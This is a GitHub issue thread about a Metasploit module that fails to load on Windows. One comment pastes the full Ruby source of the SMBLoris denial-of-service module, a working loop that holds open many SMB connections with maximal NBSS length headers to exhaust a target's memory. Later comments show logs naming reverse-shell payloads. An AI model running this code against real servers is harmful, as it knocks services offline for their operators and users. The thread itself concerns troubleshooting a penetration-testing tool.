metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

WARNING! The following modules could not be loaded!

Open akhribfarouk opened this issue 8 years ago • 7 comments

Steps to reproduce

After i installed "metasploit" and disabled firewall and antivirus i did this:

1-:white_check_mark: I opened CMD.exe as Administrator
2-:white_check_mark: Navigate to c:\metasploit
3-:white_check_mark: i entered the following command console
4-:red_circle: I've got this warning: :bell: # WARNING! The following modules could not be loaded! C:/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.16.54/modules/auxiliary/dos/smb/smb_loris.rb: Msf::Modules::Error Failed to load module (dos/smb/smb_loris from C:/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.16.54/modules/auxiliary/dos/smb/smb_loris.rb) due to Invalid module (no MetasploitModule class or module name) :bell:

Expected behavior

:no_entry: it is obviously i can't run SMB attacks....

Current behavior

:disappointed: can't get rid of this issue :disappointed:

Metasploit version

:sunglasses:# metasploit v4.16.54-dev

I installed Metasploit with:

Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)) :innocent: ### OS # Windows 10 version 1709 (OS build 16299.371)

akhribfarouk avatar May 04 '18 00:05 akhribfarouk

Same here

download

i1u5 avatar Jun 13 '18 15:06 i1u5

:man_shrugging: just don't run metasploit on Windows

fsacer avatar Jul 28 '18 15:07 fsacer

i've got it fixed - dunno if it works though. it loads fine.

metasploit-framework/embedded/framework/modules/auxiliary/dos/smb/smb_loris.rb

#!/usr/bin/env ruby

require 'socket'
require 'metasploit'

require 'bindata'

class NbssHeader < BinData::Record
  endian  :little
  uint8   :message_type
  bit7    :flags
  bit17   :message_length
end

class MetasploitModule < Msf::Auxiliary

metadata = {
  name: 'SMBLoris NBSS Denial of Service',
  description: %q{
    The SMBLoris attack consumes large chunks of memory in the target by sending
    SMB requests with the NetBios Session Service(NBSS) Length Header value set
    to the maximum possible value. By keeping these connections open and initiating
    large numbers of these sessions, the memory does not get freed, and the server
    grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
    and Zach Harding.

    DISCALIMER: This module opens a lot of simultaneous connections. Please check
    your system's ULIMIT to make sure it can handle it. This module will also run
    continuously until stopped.
  },
  authors: [
      'thelightcosine',
      'Adam Cammack <adam_cammack[at]rapid7.com>'
  ],
  date: '2017-06-29',
  references: [
    { type: 'url', ref: 'http://smbloris.com/' }
  ],
  type: 'dos',
  options: {
    rhost: {type: 'address', description: 'The target address', required: true, default: nil},
    rport: {type: 'port', description: 'SMB port on the target', required: true, default: 445},
  }
}

def run(args)
  header = NbssHeader.new
  header.message_length = 0x01FFFF

  last_reported = 0
  warned = false
  n_loops = 0
  sockets = []

  target = Addrinfo.tcp(args[:rhost], args[:rport].to_i)

  Metasploit.logging_prefix = "#{target.inspect_sockaddr} - "

  while true do
    begin
      sockets.delete_if do |s|
        s.closed?
      end

      nsock = target.connect(timeout: 360)
      nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
      nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
      nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
      nsock.setsockopt(Socket::Option.linger(true, 60))
      nsock.write(header.to_binary_s)
      sockets << nsock

      n_loops += 1
      if  last_reported != sockets.length
        if n_loops % 100 == 0
          last_reported = sockets.length
          Metasploit.log "#{sockets.length} socket(s) open", level: 'info'
        end
      elsif n_loops % 1000 == 0
        Metasploit.log "Holding steady at #{sockets.length} socket(s) open", level: 'info'
      end
    rescue Interrupt
      break
      sockets.each &:close
    rescue Errno::EMFILE
      Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing you system limits.", level: 'warning' unless warned
      warned = true
      sockets.slice(0).close
    rescue Exception => e
      Metasploit.log "Exception sending packet: #{e.message}", level: 'error'
    end
  end
end

if __FILE__ == $PROGRAM_NAME
  Metasploit.run(metadata, method(:run))
end

end


rrroyal avatar Aug 07 '18 18:08 rrroyal

@0-1-0-1 thank you to much

prototyqe avatar Aug 08 '18 06:08 prototyqe

@0-1-0-1 's solution works on my Winddows10 desktop

JJJJJJJerk avatar Aug 27 '18 11:08 JJJJJJJerk

Works on Win7

derekwilling avatar Aug 27 '18 21:08 derekwilling

help me I can't use metasploit

I have check in my metasploit logs and this is the logs

[09/03/2020 08:31:18] [d(0)] core: Already established connection to postgresql, so reusing active connection. [09/03/2020 08:31:37] [e(0)] core: C:/metasploit/apps/pro/vendor/bundle/ruby/2.6.0/gems/metasploit-framework-6.0.1/modules/payloads/singles/cmd/unix/reverse_ssh.rb failed to load - LoadError cannot load such file -- pty [09/03/2020 08:31:39] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported [09/03/2020 08:31:39] [e(0)] core: Dependency for windows/encrypted_shell_reverse_tcp is not supported [09/03/2020 08:31:40] [e(0)] core: Dependency for windows/x64/encrypted_reverse_tcp is not supported [09/03/2020 08:31:40] [e(0)] core: Dependency for windows/encrypted_reverse_tcp is not supported

ghost avatar Sep 03 '20 00:09 ghost